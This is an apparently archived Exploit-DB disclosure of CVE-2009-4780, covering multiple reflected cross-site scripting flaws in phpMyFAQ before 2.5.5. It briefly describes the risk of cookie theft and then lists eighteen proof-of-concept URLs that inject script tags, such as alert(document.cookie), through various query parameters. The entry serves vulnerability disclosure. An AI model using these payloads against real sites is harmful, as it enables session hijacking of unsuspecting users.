phpMyFAQ < 2.5.4 - Multiple Cross-Site Scripting Vulnerabilities

Author: Amol Naik
type: webapps
platform: php
port: 
date_added: 2009-12-01 
date_updated: 2016-09-27 
verified: 1 
codes: CVE-2009-4780;OSVDB-60586 
tags: 
aliases:  
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application_url: http://www.exploit-db.comphpmyfaq-2.5.3.zip

source: https://www.securityfocus.com/bid/37180/info

phpMyFAQ is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Versions prior to phpMyFAQ 2.5.5 are vulnerable.

http://www.example.com/index.php?action=sitemap&lang=en"><script>alert(1)</script>
http://www.example.com/index.php?search=hello"><script>alert(document.cookie)</script>&action=search
http://www.example.com/index.php?action=artikel&cat=1&id=1&artlang=en&highlight=you"><script>alert(1)</script>
http://www.example.com/index.php?action=artikel&cat=1&id=1&artlang=en"><script>alert(1)</script>
http://www.example.com/index.php?action=sitemap&letter=W&lang=en"><script>alert(1)</script>
http://www.example.com/index.php?action=sitemap&letter=W"><script>alert(1)</script>&lang=en
http://www.example.com/index.php?sid=7&lang=en"><script>alert(document.cookie)</script>&action=show&cat=1
http://www.example.com/index.php?sid=7&lang=en&action=show&cat=1"><script>alert(document.cookie)</script>
http://www.example.com/index.php?action=search&tagging_id=1"><script>alert(1)</script>
http://www.example.com/index.php?action=news&newsid=1&newslang=en"><script>alert(document.cookie)</script>
http://www.example.com/index.php?action=send2friend&cat=1&id=1&artlang=en"><script>alert(1)</script>
http://www.example.com/index.php?action=send2friend&cat=1"><script>alert(1)</script>&id=1&artlang=en
http://www.example.com/index.php?action=send2friend&cat=1&id=1"><script>alert(1)</script>&artlang=en
http://www.example.com/index.php?action=translate&cat=1&id=1&srclang=en"><script>alert(1)</script>
http://www.example.com/index.php?action=translate&cat=1&id=1"><script>alert(1)</script>&srclang=en
http://www.example.com/index.php?action=translate&cat=1"><script>alert(1)</script>&id=1&srclang=en
http://www.example.com/index.php?action=add&question=1&cat=1"><script>alert(1)</script>
http://www.example.com/index.php?action=add&question=1"><script>alert(1)</script>&cat=1